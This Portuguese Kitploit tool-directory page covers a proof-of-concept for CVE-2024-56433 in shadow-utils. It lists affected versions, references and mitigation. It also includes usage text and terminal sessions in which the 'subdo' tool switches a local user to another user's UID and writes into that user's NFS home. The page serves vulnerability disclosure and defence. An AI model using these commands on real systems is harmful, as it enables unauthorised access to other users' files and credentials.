Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-56433 — Prova de conceito de exploit para CVE-2024-56433, demonstrando escalonamento de privilégios via colisão de ID subordinado do shadow-utils para acessar dados de outros usuários. | Kitploit
Ferramentas/GitHubGitHub/jonnywhatshisface/cve-2024-56433
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed Teaming
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

Prova de conceito de exploit para CVE-2024-56433, demonstrando escalonamento de privilégios via colisão de ID subordinado do shadow-utils para acessar dados de outros usuários.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
3há 1 anoAinda não revisado

CVE-2024-56433

shadow-utils - Atribuição padrão insegura de IDs subordinados para usuários locais

Resumo

A atribuição padrão de IDs subordinados cria risco de colisão com IDs de usuários existentes, possibilitando a alteração arbitrária de UID/GID e o acesso não autorizado a dados e recursos de rede.

Versões Afetadas

Pacote Base: shadow-utils 4.4 - 4.17.0

Distribuições Linux Afetadas

Confirmado em: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Todas as versões recentes de distribuições que utilizam shadow-utils 4.4 ou superior.

Referências

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

Detalhes

O shadow-utils passou a incluir uma configuração padrão que delega IDs subordinados a usuários locais.

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

Quando novos usuários locais são adicionados ao sistema por meio de qualquer uma das ferramentas do shadow-utils (adduser, useradd e durante a instalação do sistema), cada usuário recebe um bloco exclusivo de 65.536 UIDs e GIDs, começando em UID/GID 100000. Por exemplo, o sistema a seguir possui dois usuários locais adicionados:

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

A configuração de IDs subordinados delega o direito de uso das faixas especificadas ao usuário em um namespace de usuário e é mais frequentemente usada para conteinerização sem root. No entanto, utilitários de conteinerização não são necessários para entrar em um namespace e isso pode ser feito por vários meios, incluindo o uso das ferramentas padrão do shadow-utils 'newuidmap' e 'newgidmap.' Isso permite que o usuário altere arbitrariamente para o ID de usuário POSIX de qualquer ID dentro da faixa delegada a ele.

Exemplo

No exemplo a seguir, o usuário Jon - UID/GID 1000 - recebeu uma faixa de UID/GID de 65.536 IDs começando em 100000. A rede possui outros IDs configurados via LDAP para gerenciamento centralizado de usuários e login, com diretórios home de usuários de rede em NFS.

UID/GID 108372 pertence ao usuário de rede msteph.

Aproveitando a alocação padrão de UID/GID subordinados criada durante a instalação, o usuário local pode alternar para o ID do usuário de rede e, em seguida, obter acesso ao diretório home NFS, lendo e gravando arquivos como esse usuário.

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

Embora NFS tenha sido usado como exemplo, isso vai além do acesso NFS. Infraestruturas onde credenciais Kerberos podem ser armazenadas no sistema local ficam em risco, pois as credenciais podem ser capturadas do sistema local e o acesso a outros serviços kerberizados se torna possível.

Mitigação

As entradas SUB_ em /etc/login.defs devem ser removidas. Quaisquer entradas em /etc/subuid e /etc/subgid que não sejam esperadas também devem ser removidas.

POC

O POC para alterar UID/GID para o ID subordinado alocado desejado está anexado como subdo.c e subdo.py

O POC mapeia o ID interno e externo para o mesmo ID e, em seguida, executa setuid() e setgid() para esse ID dentro do namespace, o que significa que todos os comandos executados no shell dentro do namespace agora são executados como esse uid/gid no host.

subdo.c

Permite a execução de qualquer comando e argumentos como o UID/GID subordinado desejado.

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

Executa /bin/bash como o UID/GID subordinado desejado.

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Baixar ferramenta